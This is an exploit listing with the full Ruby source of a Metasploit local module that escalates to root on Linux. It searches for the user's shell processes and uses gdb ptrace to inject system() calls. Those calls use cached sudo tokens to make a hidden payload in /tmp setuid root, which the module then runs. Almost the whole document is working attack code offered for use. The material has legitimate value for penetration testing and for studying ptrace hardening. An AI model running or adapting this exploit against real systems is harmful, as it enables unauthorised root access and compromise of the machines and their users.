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ptrace Sudo Token Privilege Escalation

ptrace Sudo Token Privilege Escalation
Posted Sep 2, 2019
Authored by Brendan Coles, chaignc | Site metasploit.com

This Metasploit module attempts to gain root privileges by blindly injecting into the session user's running shell processes and executing commands by calling system(), in the hope that the process has valid cached sudo tokens with root privileges. The system must have gdb installed and permit ptrace. This module has been tested successfully on Debian 9.8 (x64) and CentOS 7.4.1708 (x64).

tags | exploit, shell, root
systems | linux, debian, centos
MD5 | c68e752b3a6a49ce8044fcde8724dad7

ptrace Sudo Token Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ptrace Sudo Token Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges by blindly injecting into
the session user's running shell processes and executing commands by
calling `system()`, in the hope that the process has valid cached sudo
tokens with root privileges.

The system must have gdb installed and permit ptrace.

This module has been tested successfully on:

Debian 9.8 (x64); and
CentOS 7.4.1708 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'chaignc', # sudo_inject
'bcoles' # Metasploit
],
'DisclosureDate' => '2019-03-24',
'References' =>
[
['EDB', '46989'],
['URL', 'https://github.com/nongiach/sudo_inject'],
['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'],
['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'],
['URL', 'https://lwn.net/Articles/393012/'],
['URL', 'https://lwn.net/Articles/492667/'],
['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'],
['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 30
},
'DefaultTarget' => 0))
register_options [
OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def timeout
datastore['TIMEOUT']
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def check
if yama_enabled?
vprint_error 'YAMA ptrace scope is restrictive'
return CheckCode::Safe
end
vprint_good 'YAMA ptrace scope is not restrictive'

if command_exists? '/usr/sbin/getsebool'
if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true'
vprint_error 'SELinux deny_ptrace is enabled'
return CheckCode::Safe
end
vprint_good 'SELinux deny_ptrace is disabled'
end

unless command_exists? 'sudo'
vprint_error 'sudo is not installed'
return CheckCode::Safe
end
vprint_good 'sudo is installed'

unless command_exists? 'gdb'
vprint_error 'gdb is not installed'
return CheckCode::Safe
end
vprint_good 'gdb is installed'

CheckCode::Detected
end

def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end

# Find running shell processes
shells = %w[ash ksh csh dash bash zsh tcsh fish sh]

system_shells = read_file('/etc/shells').to_s.each_line.map {|line|
line.strip
}.reject {|line|
line.starts_with?('#')
}.each {|line|
shells << line.split('/').last
}
shells = shells.uniq.reject {|shell| shell.blank?}

print_status 'Searching for shell processes ...'
pids = []
if command_exists? 'pgrep'
cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid|
pids << pid.strip
end
else
shells.each do |s|
pidof(s).each {|p| pids << p.strip}
end
end

if pids.empty?
fail_with Failure::Unknown, 'Found no running shell processes'
end

print_status "Found #{pids.uniq.length} running shell processes"
vprint_status pids.join(', ')

# Upload payload
@payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
upload @payload_path, generate_payload_exe

# Blindly call system() in each shell process
pids.each do |pid|
print_status "Injecting into process #{pid} ..."

cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1"
sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1"
res = cmd_exec sudo_inject, nil, timeout
vprint_line res unless res.blank?

next unless setuid? @payload_path

print_good "#{@payload_path} setuid root successfully"
print_status 'Executing payload...'
res = cmd_exec "#{@payload_path} & echo "
vprint_line res
return
end

fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.'
end

def on_new_session(session)
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @payload_path
else
session.shell_command_token "rm -f '#{@payload_path}'"
end
ensure
super
end
end
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